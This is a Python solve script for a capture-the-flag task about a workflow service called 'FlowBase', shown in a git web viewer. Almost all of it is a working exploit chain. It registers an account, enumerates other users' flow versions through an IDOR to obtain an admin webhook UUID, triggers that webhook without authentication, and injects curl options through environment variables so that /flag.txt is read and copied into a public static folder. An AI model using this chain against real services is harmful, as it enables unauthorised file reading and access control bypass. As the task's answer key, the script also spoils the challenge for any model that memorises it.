Files
2026-09-17 00:50:07 +03:00

102 lines
3.8 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/usr/bin/env python3
"""FlowBase — автоматическое решение задания 11 (stdlib only).
Цепочка:
1. Регистрация -> bearer-токен.
2. Перебор GET /api/flows/{1..40}/versions (IDOR) -> webhook UUID
админского потока с нодой system.run.
3. Анонимный POST /webhooks/<uuid>/run с подменой переменных:
BACKUP_URL=file:///flag.txt, CURL_OPTS=-o /app/static/dl/<rnd>.txt
4. GET /dl/<rnd>.txt -> флаг.
Запуск: python solve.py http://localhost:18111
"""
import json
import random
import string
import sys
import urllib.error
import urllib.request
def req(method, url, token=None, payload=None):
data = json.dumps(payload).encode() if payload is not None else None
r = urllib.request.Request(url, data=data, method=method)
if data is not None:
r.add_header("Content-Type", "application/json")
if token:
r.add_header("Authorization", "Bearer " + token)
try:
with urllib.request.urlopen(r) as resp:
return resp.status, resp.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def main():
base = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:18111"
rnd = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
user, password = f"solver_{rnd}", f"pw_{rnd}"
print(f"[*] Цель: {base}")
# 1. Регистрация.
code, body = req("POST", base + "/api/register",
payload={"username": user, "password": password})
if code != 201:
sys.exit(f"[-] Регистрация не удалась: {code} {body!r}")
token = json.loads(body)["token"]
print(f"[+] Зарегистрирован {user}, токен получен")
# 2. IDOR: перебор версий чужих потоков, ищем system.run.
webhook_uuid = None
flow_name = None
for fid in range(1, 41):
code, body = req("GET", f"{base}/api/flows/{fid}/versions", token=token)
if code != 200:
continue
data = json.loads(body)
version = next(
(ver for ver in reversed(data.get("versions", []))
if ver.get("webhook_uuid") and any(
node.get("type") == "system.run" for node in ver.get("nodes", [])
)),
None,
)
if version is not None:
webhook_uuid = version["webhook_uuid"]
flow_name = data["name"]
print(f"[+] IDOR: поток #{fid} '{flow_name}' "
f"(owner={data.get('owner')}), нода system.run, "
f"webhook UUID: {webhook_uuid}")
break
if not webhook_uuid:
sys.exit("[-] Поток с system.run не найден")
# 3. Анонимный запуск вебхука с инъекцией опций curl через env.
out_name = f"leak_{rnd}.txt"
payload = {"env": {
"BACKUP_URL": "file:///flag.txt",
"CURL_OPTS": f"-s -o /app/static/dl/{out_name}",
}}
code, body = req("POST", f"{base}/webhooks/{webhook_uuid}/run", payload=payload)
if code != 200:
sys.exit(f"[-] Вебхук не сработал: {code} {body!r}")
print(f"[+] Вебхук исполнен без аутентификации: {body.decode().strip()}")
# 4. Забираем результат из статической раздачи.
code, body = req("GET", f"{base}/dl/{out_name}")
if code != 200:
sys.exit(f"[-] Файл не появился в /dl/: {code} {body!r}")
flag = body.decode().strip()
print(f"[+] Содержимое /dl/{out_name}: {flag}")
if flag.startswith("CAPLAG{"):
print(f"\nFLAG: {flag}")
else:
sys.exit("[-] Ответ не похож на флаг")
if __name__ == "__main__":
main()